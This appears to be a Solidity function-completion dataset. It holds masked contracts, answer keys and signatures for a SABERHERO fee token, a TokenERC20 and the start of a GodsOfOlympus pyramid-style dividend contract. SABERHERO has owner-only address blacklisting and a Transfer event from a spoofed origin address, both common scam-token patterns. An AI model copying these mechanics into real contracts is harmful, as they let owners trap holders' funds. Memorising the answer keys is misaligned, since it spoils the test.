contract SABERHERO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Saber Hero Token"; string private constant _symbol = "SHT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x57958769f03d0fEf60779F92Cd766cb3B6B14550); _feeAddrWallet2 = payable(0x57958769f03d0fEf60779F92Cd766cb3B6B14550); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xc4b18d44d173AF4e42CC58d38d98291D5A902F04), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1000000000000000 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract SABERHERO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Saber Hero Token"; string private constant _symbol = "SHT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x57958769f03d0fEf60779F92Cd766cb3B6B14550); _feeAddrWallet2 = payable(0x57958769f03d0fEf60779F92Cd766cb3B6B14550); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xc4b18d44d173AF4e42CC58d38d98291D5A902F04), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1000000000000000 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } <FILL_FUNCTION> function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);
function _transferStandard(address sender, address recipient, uint256 tAmount) private
function _transferStandard(address sender, address recipient, uint256 tAmount) private
54186
TokenERC20
TokenERC20
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint _value); /** * 初始化构造 */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {<FILL_FUNCTION_BODY> } /** * 代币交易转移的内部实现 */ function _transfer(address _from, address _to, uint _value) internal { // 确保目标地址不为0x0,因为0x0地址代表销毁 require(_to != 0x0); // 检查发送者余额 require(balanceOf[_from] >= _value); // 确保转移为正数个 require(balanceOf[_to] + _value > balanceOf[_to]); // 以下用来检查交易, uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // 用assert来检查代码逻辑。 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * 代币交易转移 * 从自己(创建交易者)账号发送`_value`个代币到 `_to`账号 * ERC20标准 * @param _to 接收者地址 * @param _value 转移数额 */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * 账号之间代币交易转移 * ERC20标准 * @param _from 发送者地址 * @param _to 接收者地址 * @param _value 转移数额 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * 设置某个地址(合约)可以创建交易者名义花费的代币数。 * * 允许发送者`_spender` 花费不多于 `_value` 个代币 * ERC20标准 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } }
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint _value); <FILL_FUNCTION> /** * 代币交易转移的内部实现 */ function _transfer(address _from, address _to, uint _value) internal { // 确保目标地址不为0x0,因为0x0地址代表销毁 require(_to != 0x0); // 检查发送者余额 require(balanceOf[_from] >= _value); // 确保转移为正数个 require(balanceOf[_to] + _value > balanceOf[_to]); // 以下用来检查交易, uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // 用assert来检查代码逻辑。 assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * 代币交易转移 * 从自己(创建交易者)账号发送`_value`个代币到 `_to`账号 * ERC20标准 * @param _to 接收者地址 * @param _value 转移数额 */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * 账号之间代币交易转移 * ERC20标准 * @param _from 发送者地址 * @param _to 接收者地址 * @param _value 转移数额 */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * 设置某个地址(合约)可以创建交易者名义花费的代币数。 * * 允许发送者`_spender` 花费不多于 `_value` 个代币 * ERC20标准 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } }
totalSupply = initialSupply * 10 ** uint256(decimals); // 供应的份额,份额跟最小的代币单位有关,份额 = 币数 * 10 ** decimals。 balanceOf[msg.sender] = totalSupply; // 创建者拥有所有的代币 name = tokenName; // 代币名称 symbol = tokenSymbol; // 代币符号
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public
/** * 初始化构造 */ function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public
28099
GodsOfOlympus
ethereumToTokens_
contract GodsOfOlympus { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } /// @dev easyOnTheGas modifier easyOnTheGas() { require(tx.gasprice < 200999999999); _; } /// @dev Preventing unstable dumping and limit ambassador mine modifier antiEarlyWhale { if (address(this).balance -msg.value < whaleBalanceLimit){ require(msg.value <= maxEarlyStake); } if (depositCount_ == 0){ require(ambassadors_[msg.sender] && msg.value == 0.5 ether); }else if (depositCount_ < 2){ require(ambassadors_[msg.sender] && msg.value == 0.4 ether); } _; } /// @dev easyOnTheGas modifier isControlled() { require(isPremine() || isStarted()); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "Gods of Olympus"; string public symbol = "GOO"; uint8 constant public decimals = 18; /// @dev 15% dividends for token selling uint8 constant internal exitFee_ = 15; /// @dev 33% masternode uint8 constant internal refferalFee_ = 33; /// @dev P3D pricing uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev 100 needed for masternode activation uint256 public stakingRequirement = 100e18; /// @dev anti-early-whale uint256 public maxEarlyStake = 2.5 ether; uint256 public whaleBalanceLimit = 100 ether; /// @dev light the fuse address public fuse; /// @dev starting uint256 public startTime = 0; /// @dev one shot bool public startCalled = false; /*================================= = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; uint256 public depositCount_; mapping(address => bool) internal ambassadors_; /*======================================= = CONSTRUCTOR = =======================================*/ constructor () public { fuse = msg.sender; // Masternode sales & promotional fund ambassadors_[fuse]=true; ambassadors_[0xaED453F0F301688402FEC662ebBF6bbB1cE6D90E]=true; ambassadors_[0xAb219a0e8FDa547bCCDa840b4D9c9E761178C27c]=true; } /*======================================= = PUBLIC FUNCTIONS = =======================================*/ // @dev Function setting the start time of the system function setStartTime(uint256 _startTime) public { require(msg.sender==fuse && !isStarted() && now < _startTime && !startCalled); require(_startTime > now); startTime = _startTime; startCalled = true; } /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buy(address _referredBy) antiEarlyWhale easyOnTheGas isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , msg.sender); } /// @dev Converts to tokens on behalf of the customer - this allows gifting and integration with other systems function purchaseFor(address _referredBy, address _customerAddress) antiEarlyWhale easyOnTheGas isControlled public payable returns (uint256) { purchaseTokens(msg.value, _referredBy , _customerAddress); } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() antiEarlyWhale easyOnTheGas isControlled payable public { purchaseTokens(msg.value, 0x0 , msg.sender); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // capitulation withdraw(); } /// @dev Withdraws all of the callers earnings. function withdraw() onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } /** * @dev Transfer tokens from the caller to a new holder. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(); } return transferInternal(_toAddress,_amountOfTokens,_customerAddress); } function transferInternal(address _toAddress, uint256 _amountOfTokens , address _fromAddress) internal returns (bool) { // setup address _customerAddress = _fromAddress; // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee()), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee()), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /// @dev Function for the frontend to get untaxed receivable ethereum. function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); //uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee()), 100); //uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _ethereum; } function entryFee() public view returns (uint8){ uint256 volume = address(this).balance - msg.value; if (volume<=10 ether){ return 40; } if (volume<=20 ether){ return 35; } if (volume<=50 ether){ return 30; } if (volume<=100 ether){ return 25; } if (volume<=250 ether){ return 20; } return 15; } // @dev Function for find if premine function isPremine() public view returns (bool) { return depositCount_<=5; } // @dev Function for find if premine function isStarted() public view returns (bool) { return startTime!=0 && now > startTime; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) { // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee()), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && 